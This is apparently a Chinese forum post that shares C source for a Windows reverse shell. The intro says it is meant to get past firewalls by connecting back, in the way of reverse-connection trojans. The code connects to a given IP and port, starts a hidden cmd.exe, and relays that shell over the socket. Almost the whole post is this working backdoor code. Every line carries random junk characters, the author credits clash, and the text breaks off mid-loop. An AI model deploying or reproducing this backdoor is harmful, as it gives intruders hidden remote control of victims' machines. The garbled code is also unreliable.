这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [Mp8"
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/* ============================== 3>%:%bP
Rebound port in Windows NT VH6J
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By wind,2006/7 jbTsrj"g
===============================*/ Bn5$TiTcl
#include sJ7ZE-v]h
#include CDT3&N1'R
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#pragma comment(lib,"wsock32.lib") 2py
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void OutputShell(); F~x>\?iN
SOCKET sClient; c3C<P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MXrh[QCU)
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void main(int argc,char **argv) LIfYpn6
{ R_B`dP<"~Y
WSADATA stWsaData; A x'o|RE)x
int nRet; "w:?WS
SOCKADDR_IN stSaiClient,stSaiServer; !c;BOCqa
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if(argc != 3) |`Iispn
{ .y>G/8_i
printf("Useage:\n\rRebound DestIP DestPort\n"); o$k9$H>Na
return; u9D#5NvGs
} >_SqM! ^v
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WSAStartup(MAKEWORD(2,2),&stWsaData); `-[|@QNFz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |%12Vr]J
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stSaiClient.sin_family = AF_INET; *#7]PA Qw
stSaiClient.sin_port = htons(0); ~JG\b?s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >%c7|\q[ R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .{4U]a;[
{ xH>2$ ;f
printf("Bind Socket Failed!\n"); #?fKi$fS;L
return; l@`Do [
} HD153M,
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stSaiServer.sin_family = AF_INET; i2 G.<(3O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); um*!+Q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q=#N4[W'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ ,O`~ D~$
printf("Connect Error!"); nP#|JRn=
return; rA[wC%%
} LW*v/`@
OutputShell(); Mh8s @g
} k.!m-5E
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void OutputShell() }$Z0v`
{ y-lBaTE9
char szBuff[1024]; dQJ)0!B
SECURITY_ATTRIBUTES stSecurityAttributes; `!@d$*:'
OSVERSIONINFO stOsversionInfo; r0,XR
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cc{^0JT
STARTUPINFO stStartupInfo; BMYvxSsm
char *szShell; vY!'@W
PROCESS_INFORMATION stProcessInformation; FS7@6I2Ts
unsigned long lBytesRead; oP_}C[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tPaNhm[-q7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B;c2gu
stSecurityAttributes.lpSecurityDescriptor = 0; C^*3nd3
stSecurityAttributes.bInheritHandle = TRUE; k%%0"+y#a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @ ('/NjTZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CJe~>4BT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9qI#vHA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P~M<OUg
stStartupInfo.wShowWindow = SW_HIDE; "g:1br?X,9
stStartupInfo.hStdInput = hReadPipe; !U4<4<+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jP}Ix8vc=
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GetVersionEx(&stOsversionInfo); }fh<L CwTi
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switch(stOsversionInfo.dwPlatformId) FgnPh%[u
{ "-R19SpJKh
case 1: 0$=w8tP)
szShell = "command.com"; 4~~G
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break; 1Uk Gjw1J
default: bDjm:G
szShell = "cmd.exe"; CqR^w(
break; l$ufW|
} Qm>2,={h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <5o
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send(sClient,szMsg,77,0); /q5!p0fH*
while(1) ;}}k*<
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{ ,vB~9^~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x};sti R
if(lBytesRead) qyL!>kZr@
{ 1C+d&U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z7dyPR
send(sClient,szBuff,lBytesRead,0); Q/`W[Et
} V,&A?
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else qh#?a'
{ )jGB[s";)y
lBytesRead=recv(sClient,szBuff,1024,0); Cq[<CPAS
if(lBytesRead<=0) break; OBL2W\{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <